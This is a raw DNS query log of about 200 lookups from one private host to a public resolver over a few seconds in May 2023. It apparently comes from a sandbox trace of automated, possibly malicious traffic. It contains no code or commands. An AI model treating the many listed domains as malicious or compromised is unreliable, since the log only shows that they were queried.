May 31, 2023 14:52:02.123416901 CEST	192.168.2.3	8.8.8.8	0x2cba	Standard query (0)	ciicsc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.124372005 CEST	192.168.2.3	8.8.8.8	0xc08e	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.128242970 CEST	192.168.2.3	8.8.8.8	0xe21d	Standard query (0)	skgm.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.142739058 CEST	192.168.2.3	8.8.8.8	0xf9cd	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.145874023 CEST	192.168.2.3	8.8.8.8	0x25a4	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.163009882 CEST	192.168.2.3	8.8.8.8	0x2d71	Standard query (0)	uhsa.edu.ag	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.174442053 CEST	192.168.2.3	8.8.8.8	0xf73f	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.198483944 CEST	192.168.2.3	8.8.8.8	0x30c1	Standard query (0)	bossinst.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.200236082 CEST	192.168.2.3	8.8.8.8	0xecdf	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.220551014 CEST	192.168.2.3	8.8.8.8	0x47d3	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.221273899 CEST	192.168.2.3	8.8.8.8	0x4472	Standard query (0)	sigtoa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.236723900 CEST	192.168.2.3	8.8.8.8	0x69ae	Standard query (0)	cubodown.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.248579025 CEST	192.168.2.3	8.8.8.8	0x8653	Standard query (0)	aoinko.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.251025915 CEST	192.168.2.3	8.8.8.8	0x3a7d	Standard query (0)	ie-roi.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.269772053 CEST	192.168.2.3	8.8.8.8	0xfca8	Standard query (0)	cnti.krsn.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.273760080 CEST	192.168.2.3	8.8.8.8	0xa6a5	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.273961067 CEST	192.168.2.3	8.8.8.8	0xc580	Standard query (0)	burstner.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.276973009 CEST	192.168.2.3	8.8.8.8	0xb5f6	Standard query (0)	ie-roi.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.276973009 CEST	192.168.2.3	8.8.8.8	0x2132	Standard query (0)	jabian.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.283341885 CEST	192.168.2.3	8.8.8.8	0x190f	Standard query (0)	ccssinc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.310110092 CEST	192.168.2.3	8.8.8.8	0x3b91	Standard query (0)	ie-roi.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.317212105 CEST	192.168.2.3	8.8.8.8	0xa652	Standard query (0)	pleszew.policja.gov.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.335972071 CEST	192.168.2.3	8.8.8.8	0x48e5	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.345772028 CEST	192.168.2.3	8.8.8.8	0xc0ee	Standard query (0)	pccj.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.345772028 CEST	192.168.2.3	8.8.8.8	0x284a	Standard query (0)	shesfit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.359735012 CEST	192.168.2.3	8.8.8.8	0x946a	Standard query (0)	canasil.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.367882013 CEST	192.168.2.3	8.8.8.8	0x13c7	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.377748013 CEST	192.168.2.3	8.8.8.8	0x8fe1	Standard query (0)	smitko.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.394062042 CEST	192.168.2.3	8.8.8.8	0xea65	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.394673109 CEST	192.168.2.3	8.8.8.8	0x3844	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.395291090 CEST	192.168.2.3	8.8.8.8	0x41ec	Standard query (0)	nme.co.jp	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.436295986 CEST	192.168.2.3	8.8.8.8	0x5dd0	Standard query (0)	wahw.com.au	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.443177938 CEST	192.168.2.3	8.8.8.8	0xe409	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.443177938 CEST	192.168.2.3	8.8.8.8	0xf28c	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.446126938 CEST	192.168.2.3	8.8.8.8	0x2344	Standard query (0)	bossinst.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.447491884 CEST	192.168.2.3	8.8.8.8	0x5c41	Standard query (0)	com-edit.fr	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.447491884 CEST	192.168.2.3	8.8.8.8	0x533f	Standard query (0)	deckoviny.cz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.450527906 CEST	192.168.2.3	8.8.8.8	0xe5d7	Standard query (0)	aoinko.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.456437111 CEST	192.168.2.3	8.8.8.8	0x32f2	Standard query (0)	e-kami.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.467458010 CEST	192.168.2.3	8.8.8.8	0x188a	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.471668959 CEST	192.168.2.3	8.8.8.8	0x8ef0	Standard query (0)	banvari.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.473678112 CEST	192.168.2.3	8.8.8.8	0x383	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.500142097 CEST	192.168.2.3	8.8.8.8	0x678c	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.504060984 CEST	192.168.2.3	8.8.8.8	0x6e6c	Standard query (0)	sinwal.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.508430958 CEST	192.168.2.3	8.8.8.8	0x398f	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.553457975 CEST	192.168.2.3	8.8.8.8	0xc589	Standard query (0)	kayoaiba.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.557612896 CEST	192.168.2.3	8.8.8.8	0x6e32	Standard query (0)	unicus.jp	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.571707010 CEST	192.168.2.3	8.8.8.8	0xa458	Standard query (0)	paraski.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.571707010 CEST	192.168.2.3	8.8.8.8	0xfdb9	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.576441050 CEST	192.168.2.3	8.8.8.8	0xb561	Standard query (0)	kursavto.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.582690001 CEST	192.168.2.3	8.8.8.8	0xb9b0	Standard query (0)	slower.it	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.585227966 CEST	192.168.2.3	8.8.8.8	0xa023	Standard query (0)	awal.ws	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.590265989 CEST	192.168.2.3	8.8.8.8	0xe239	Standard query (0)	tcpoa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.608082056 CEST	192.168.2.3	8.8.8.8	0x691e	Standard query (0)	sledsport.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.618865013 CEST	192.168.2.3	8.8.8.8	0xc278	Standard query (0)	webavant.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.622775078 CEST	192.168.2.3	8.8.8.8	0xc28d	Standard query (0)	biosolve.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.624919891 CEST	192.168.2.3	8.8.8.8	0xd60e	Standard query (0)	webavant.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.628448963 CEST	192.168.2.3	8.8.8.8	0x9416	Standard query (0)	adventist.ro	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.631094933 CEST	192.168.2.3	8.8.8.8	0xc72	Standard query (0)	metaforacom.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.636092901 CEST	192.168.2.3	8.8.8.8	0xe219	Standard query (0)	shteeble.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.691675901 CEST	192.168.2.3	8.8.8.8	0xc511	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.707483053 CEST	192.168.2.3	8.8.8.8	0x6ca1	Standard query (0)	wnit.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.712886095 CEST	192.168.2.3	8.8.8.8	0x8021	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.718516111 CEST	192.168.2.3	8.8.8.8	0xb601	Standard query (0)	orlyhotel.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.726207972 CEST	192.168.2.3	8.8.8.8	0x9f3c	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.748325109 CEST	192.168.2.3	8.8.8.8	0x9c4c	Standard query (0)	lyto.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.772635937 CEST	192.168.2.3	8.8.8.8	0x8745	Standard query (0)	bd-style.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.804414034 CEST	192.168.2.3	8.8.8.8	0x9853	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.832096100 CEST	192.168.2.3	8.8.8.8	0x512f	Standard query (0)	hyab.se	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.003360033 CEST	192.168.2.3	8.8.8.8	0x2952	Standard query (0)	fortknox.bm	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.007258892 CEST	192.168.2.3	8.8.8.8	0xaa	Standard query (0)	icd-host.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.007258892 CEST	192.168.2.3	8.8.8.8	0xef75	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.012984991 CEST	192.168.2.3	8.8.8.8	0xc5ed	Standard query (0)	oh28ya.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.014847040 CEST	192.168.2.3	8.8.8.8	0x7c07	Standard query (0)	muhr-soehne.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.017607927 CEST	192.168.2.3	8.8.8.8	0x1ada	Standard query (0)	envogen.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.018986940 CEST	192.168.2.3	8.8.8.8	0x9b	Standard query (0)	bible.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.037396908 CEST	192.168.2.3	8.8.8.8	0xcbb7	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.042360067 CEST	192.168.2.3	8.8.8.8	0xf235	Standard query (0)	magicomm.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.091986895 CEST	192.168.2.3	8.8.8.8	0x1390	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.118396997 CEST	192.168.2.3	8.8.8.8	0xa7d6	Standard query (0)	hubbikes.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.143337965 CEST	192.168.2.3	8.8.8.8	0x4413	Standard query (0)	sledsport.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.167272091 CEST	192.168.2.3	8.8.8.8	0x647e	Standard query (0)	dbnet.at	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.175097942 CEST	192.168.2.3	8.8.8.8	0x7368	Standard query (0)	dwid.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.180735111 CEST	192.168.2.3	8.8.8.8	0x9394	Standard query (0)	106west.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.198247910 CEST	192.168.2.3	8.8.8.8	0x41d1	Standard query (0)	captlfix.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.199656010 CEST	192.168.2.3	8.8.8.8	0x4b2a	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.200340986 CEST	192.168.2.3	8.8.8.8	0x8d24	Standard query (0)	linac.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.222615957 CEST	192.168.2.3	8.8.8.8	0x2869	Standard query (0)	any-s.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.255373001 CEST	192.168.2.3	8.8.8.8	0x4ec2	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.268563032 CEST	192.168.2.3	8.8.8.8	0x4f43	Standard query (0)	flamingorecordings.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.272700071 CEST	192.168.2.3	8.8.8.8	0xcf19	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.276856899 CEST	192.168.2.3	8.8.8.8	0xdc64	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.278584957 CEST	192.168.2.3	8.8.8.8	0x6c3c	Standard query (0)	ossir.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.281621933 CEST	192.168.2.3	8.8.8.8	0x9113	Standard query (0)	hyab.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.286243916 CEST	192.168.2.3	8.8.8.8	0xb0f6	Standard query (0)	doggybag.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.287921906 CEST	192.168.2.3	8.8.8.8	0xaa2	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.307178020 CEST	192.168.2.3	8.8.8.8	0x1c96	Standard query (0)	semuk.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.315598965 CEST	192.168.2.3	8.8.8.8	0x7b6b	Standard query (0)	yhsll.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.322422981 CEST	192.168.2.3	8.8.8.8	0xfd42	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.325022936 CEST	192.168.2.3	8.8.8.8	0xd4d3	Standard query (0)	shittas.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.331351042 CEST	192.168.2.3	8.8.8.8	0x22dd	Standard query (0)	redgiga.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.347470045 CEST	192.168.2.3	8.8.8.8	0x67a2	Standard query (0)	sokuwan.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.350445032 CEST	192.168.2.3	8.8.8.8	0xaf44	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.352680922 CEST	192.168.2.3	8.8.8.8	0xac3	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.357559919 CEST	192.168.2.3	8.8.8.8	0x6455	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.362313032 CEST	192.168.2.3	8.8.8.8	0xa0ca	Standard query (0)	bosado.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.368774891 CEST	192.168.2.3	8.8.8.8	0x8c98	Standard query (0)	mackusick.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.376724005 CEST	192.168.2.3	8.8.8.8	0xa042	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.396145105 CEST	192.168.2.3	8.8.8.8	0x5c56	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.401134968 CEST	192.168.2.3	8.8.8.8	0x3301	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.420181990 CEST	192.168.2.3	8.8.8.8	0xea65	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.421509027 CEST	192.168.2.3	8.8.8.8	0xdf53	Standard query (0)	cbras.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.424199104 CEST	192.168.2.3	8.8.8.8	0x5814	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.427015066 CEST	192.168.2.3	8.8.8.8	0x1321	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.431974888 CEST	192.168.2.3	8.8.8.8	0x8c7b	Standard query (0)	mikihan.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.462909937 CEST	192.168.2.3	8.8.8.8	0x8ac6	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.473804951 CEST	192.168.2.3	8.8.8.8	0xffdc	Standard query (0)	skypearl.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.476069927 CEST	192.168.2.3	8.8.8.8	0x1988	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.479017973 CEST	192.168.2.3	8.8.8.8	0xf8e8	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.486690044 CEST	192.168.2.3	8.8.8.8	0xb438	Standard query (0)	shenhgts.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.488553047 CEST	192.168.2.3	8.8.8.8	0x9533	Standard query (0)	ramkome.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.493803978 CEST	192.168.2.3	8.8.8.8	0x65b8	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.514252901 CEST	192.168.2.3	8.8.8.8	0xb53a	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.519783974 CEST	192.168.2.3	8.8.8.8	0x863d	Standard query (0)	techtrans.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.522555113 CEST	192.168.2.3	8.8.8.8	0xb150	Standard query (0)	host.do	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.542566061 CEST	192.168.2.3	8.8.8.8	0x8e2a	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.546004057 CEST	192.168.2.3	8.8.8.8	0xf4b5	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.550281048 CEST	192.168.2.3	8.8.8.8	0xe4e9	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.553221941 CEST	192.168.2.3	8.8.8.8	0xee00	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.579622984 CEST	192.168.2.3	8.8.8.8	0xdc8a	Standard query (0)	zupraha.cz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.585423946 CEST	192.168.2.3	8.8.8.8	0x5050	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.587189913 CEST	192.168.2.3	8.8.8.8	0x9c9	Standard query (0)	dhh.la.gov	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.587565899 CEST	192.168.2.3	8.8.8.8	0xfc93	Standard query (0)	com-edit.fr	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.588915110 CEST	192.168.2.3	8.8.8.8	0x9a76	Standard query (0)	ossir.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.595365047 CEST	192.168.2.3	8.8.8.8	0x4886	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.614844084 CEST	192.168.2.3	8.8.8.8	0xaee8	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.636260033 CEST	192.168.2.3	8.8.8.8	0xe629	Standard query (0)	btsi.com.ph	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.690392971 CEST	192.168.2.3	8.8.8.8	0x27f4	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.692807913 CEST	192.168.2.3	8.8.8.8	0xc1cb	Standard query (0)	mackusick.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.716392994 CEST	192.168.2.3	8.8.8.8	0x73c6	Standard query (0)	106west.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.717020035 CEST	192.168.2.3	8.8.8.8	0x8021	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.777952909 CEST	192.168.2.3	8.8.8.8	0x402	Standard query (0)	listel.co.jp	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.801002026 CEST	192.168.2.3	8.8.8.8	0xd681	Standard query (0)	clinicasanluis.com.co	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.828785896 CEST	192.168.2.3	8.8.8.8	0xdf9e	Standard query (0)	nettle.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.833491087 CEST	192.168.2.3	8.8.8.8	0x6ebb	Standard query (0)	ossir.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.840447903 CEST	192.168.2.3	8.8.8.8	0x99c6	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.842539072 CEST	192.168.2.3	8.8.8.8	0xeb2a	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.881052971 CEST	192.168.2.3	8.8.8.8	0xb88f	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.887824059 CEST	192.168.2.3	8.8.8.8	0xf3e3	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.901071072 CEST	192.168.2.3	8.8.8.8	0x2337	Standard query (0)	diamir.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.912599087 CEST	192.168.2.3	8.8.8.8	0xb041	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.944664001 CEST	192.168.2.3	8.8.8.8	0x3c31	Standard query (0)	canasil.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.948309898 CEST	192.168.2.3	8.8.8.8	0x3000	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.975922108 CEST	192.168.2.3	8.8.8.8	0xaf39	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.007209063 CEST	192.168.2.3	8.8.8.8	0xad3	Standard query (0)	web-york.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.009073019 CEST	192.168.2.3	8.8.8.8	0xf030	Standard query (0)	kamptal.at	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.029834032 CEST	192.168.2.3	8.8.8.8	0xa2bd	Standard query (0)	insia.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.058536053 CEST	192.168.2.3	8.8.8.8	0x74b5	Standard query (0)	ldh.la.gov	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.112796068 CEST	192.168.2.3	8.8.8.8	0x1114	Standard query (0)	www.diamir.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.118026972 CEST	192.168.2.3	8.8.8.8	0xe08	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.123802900 CEST	192.168.2.3	8.8.8.8	0x774e	Standard query (0)	strazynski.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.129966021 CEST	192.168.2.3	8.8.8.8	0x9653	Standard query (0)	vdoherty.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.153122902 CEST	192.168.2.3	8.8.8.8	0x613b	Standard query (0)	kallman.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.154999971 CEST	192.168.2.3	8.8.8.8	0x2f86	Standard query (0)	ftmobile.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.183741093 CEST	192.168.2.3	8.8.8.8	0xccf7	Standard query (0)	bigzz.by	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.186024904 CEST	192.168.2.3	8.8.8.8	0x7747	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.190846920 CEST	192.168.2.3	8.8.8.8	0x69e4	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.217056036 CEST	192.168.2.3	8.8.8.8	0x4682	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.223555088 CEST	192.168.2.3	8.8.8.8	0xdf0c	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.225068092 CEST	192.168.2.3	8.8.8.8	0xf1e	Standard query (0)	shittas.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.226875067 CEST	192.168.2.3	8.8.8.8	0xe0ae	Standard query (0)	impexnc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.231316090 CEST	192.168.2.3	8.8.8.8	0xdd42	Standard query (0)	kamptal.at	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.238075972 CEST	192.168.2.3	8.8.8.8	0xb62	Standard query (0)	simetar.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.253388882 CEST	192.168.2.3	8.8.8.8	0xc16b	Standard query (0)	t-mould.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.261209965 CEST	192.168.2.3	8.8.8.8	0xdbc5	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.262630939 CEST	192.168.2.3	8.8.8.8	0x54e0	Standard query (0)	thiessen.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.293967009 CEST	192.168.2.3	8.8.8.8	0xaa2	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.317491055 CEST	192.168.2.3	8.8.8.8	0x1c9d	Standard query (0)	indonesiamedia.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.340046883 CEST	192.168.2.3	8.8.8.8	0xb176	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.349071026 CEST	192.168.2.3	8.8.8.8	0xfbc4	Standard query (0)	web-york.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.371793032 CEST	192.168.2.3	8.8.8.8	0x86d2	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.382307053 CEST	192.168.2.3	8.8.8.8	0xb6e4	Standard query (0)	dog-jog.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.419677973 CEST	192.168.2.3	8.8.8.8	0x8a82	Standard query (0)	nts-web.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.421138048 CEST	192.168.2.3	8.8.8.8	0xdf23	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.468494892 CEST	192.168.2.3	8.8.8.8	0xd379	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.473299026 CEST	192.168.2.3	8.8.8.8	0x992a	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.508162022 CEST	192.168.2.3	8.8.8.8	0xfaab	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.515523911 CEST	192.168.2.3	8.8.8.8	0x9a58	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.517592907 CEST	192.168.2.3	8.8.8.8	0x3fcc	Standard query (0)	karila.fr	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.520961046 CEST	192.168.2.3	8.8.8.8	0x70bc	Standard query (0)	coxkitchensandbaths.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.543180943 CEST	192.168.2.3	8.8.8.8	0x3692	Standard query (0)	rkengg.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.559680939 CEST	192.168.2.3	8.8.8.8	0xe4e9	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.585016966 CEST	192.168.2.3	8.8.8.8	0x459f	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.591887951 CEST	192.168.2.3	8.8.8.8	0xde7e	Standard query (0)	shanks.co.uk	A (IP address)	IN (0x0001)	false
